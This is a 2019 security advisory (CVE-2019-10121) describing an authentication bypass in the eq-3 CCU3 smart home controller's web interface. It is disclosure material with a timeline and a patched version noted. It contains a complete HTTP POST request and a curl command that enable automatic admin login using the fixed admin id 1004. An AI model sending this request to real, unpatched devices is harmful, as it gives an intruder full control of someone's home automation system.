OS-S Security Advisory 2018-01

Date: Dec 5, 2018
Updated: Feb 20, 2019
NDA grace period: Mar 5, 2019
Authors: Oguzhan Cicek, Maik Brüggemann, Ralf Spenneberg
CVE: CVE-2019-10121
Vendor Reference: `https://www.eq-3.de/Downloads/Software/CCU3-Firmware/CCU3-3.43.16/CCU3-Changelog.3.43.16.pdf`
Vendor Advisory:
CVSS: 10
Title: CCU3 web login authentication may be fully disabled
Severity: High
Ease of Exploitation: Trivial
Vulnerability Type: Authentication Bypass
Vendor contacted: Dec 5, 2018
Vendor confirmation: Dec 10, 2018 via phone
Vendor patch: Feb 19, 2019
Device: CCU3
Firmware version: 3.37.8, 3.41.7, 3.41.11 tested and confirmed

Abstract:

According to the vendor site (https://www.eq-3.com) the CCU3 smart home central control unit is a High-performance Central Control Unit for local and comfortable control of your smart home. It connects and combines the wide range of Homematic IP and Homematic via the local WebUI configuration interface. It offers numerous and individual configuration and control options using the tried-and-tested WebUI via web browser. It implements highest security with AES-128 encryption and the use of the Homematic IP and Homematic radio protocols.
An attacker can disable the user authentication dialogue of the web interface and enable the automatic login of the admin user.

Detailed description:

All users are represented by user id internally. The admin always is assigned the user id 1004. All additional users are assigned ids starting with 1238 incremented by 2 for each user. To disable the authentication dialogue and to enable the automatic login as any user, even the admin, the attacker needs two information details:

- valid user id for the autologin (admin = 1004)
- valid sessionID of the webinterface (e.g. @iYChOppf4M@)

A valid sessionID can be retrieved by accessing the user authentication dialogue using a web browser.

The attack is performed using the following POST-Request:

```
POST /esp/system.htm?sid=@iYChOppf4M@ HTTP/1.1
Host: 192.168.44.80
Content-Length: 142
Accept: text/javascript, text/html, application/xml, text/xml, */*
X-Prototype-Version: 1.6.0.2
Origin: http://192.168.44.80
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML,
like Gecko) Ubuntu Chromium/70.0.3538.77 Chrome/70.0.3538.77 Safari/537.36
Content-type: application/x-www-form-urlencoded; charset=UTF-8
Accept-Encoding: gzip, deflate
Accept-Language: de-DE,de;q=0.9,en-US;q=0.8,en;q=0.7
Connection: close

<prototypejs><![CDATA[string%20action%20%3D%20%27setAutoLogin%27%3Binteger
%20alPC%20%3D%201004%3Binteger%20alPDA%20%3D%200%3B]]></prototypejs>
```

This can be done using curl:

```
curl --data '<prototypejs><![CDATA[string%20action%20%3D%20%27setAutoLogin
%27%3Binteger%20alPC%20%3D%201004%3Binteger%20alPDA%20%3D%200%3B]]></
prototypejs>' 'http://ccu3/esp/system.htm?sid=@iYChOppf4M@'
```

If the webpage is now accessed without a valid sessionID a new sessionID is assigned and the user is automatically logged in to the webpage as admin user.